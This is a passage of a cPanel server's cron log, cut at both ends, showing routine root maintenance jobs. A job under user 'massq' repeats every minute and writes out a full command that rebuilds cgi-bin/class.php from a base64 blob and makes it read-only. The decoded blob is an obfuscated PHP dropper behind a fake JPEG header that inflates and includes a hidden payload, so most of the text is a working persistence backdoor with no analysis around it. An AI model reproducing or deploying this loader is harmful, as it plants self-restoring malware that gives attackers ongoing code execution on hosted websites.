qwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:04:01 server CROND[17952]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:04:01 server CROND[17953]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 06:04:01 server CROND[17955]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:05:01 server CROND[18345]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:05:01 server CROND[18347]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 06:05:01 server CROND[18348]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 06:05:01 server CROND[18350]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 06:05:01 server CROND[18358]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:05:01 server CROND[18355]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 06:05:01 server CROND[18357]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 06:05:01 server CROND[18360]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 06:06:01 server CROND[19194]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 06:06:01 server CROND[19195]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:06:01 server CROND[19196]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:07:01 server CROND[19560]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 06:07:01 server CROND[19561]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:07:01 server CROND[19562]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:08:01 server CROND[19926]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 06:08:01 server CROND[19927]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:08:01 server CROND[19932]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:09:01 server CROND[20288]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:09:01 server CROND[20291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:09:01 server CROND[20289]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 06:09:01 server CROND[20290]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 06:10:01 server CROND[20783]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 06:10:01 server CROND[20787]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:10:01 server CROND[20791]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 06:10:01 server CROND[20790]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:10:01 server CROND[20792]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 06:10:01 server CROND[20789]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 06:10:01 server CROND[20793]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 06:10:01 server CROND[20788]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 06:11:01 server CROND[21631]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 06:11:01 server CROND[21632]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:11:01 server CROND[21630]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:12:01 server CROND[22062]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:12:01 server CROND[22063]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 06:12:01 server CROND[22065]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:12:01 server CROND[22064]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 06:13:01 server CROND[22438]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:13:01 server CROND[22439]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:13:01 server CROND[22440]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 06:14:01 server CROND[23018]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 06:14:01 server CROND[23019]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:14:01 server CROND[23020]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:15:01 server CROND[23530]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:15:01 server CROND[23531]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 06:15:01 server CROND[23532]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 06:15:01 server CROND[23534]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; 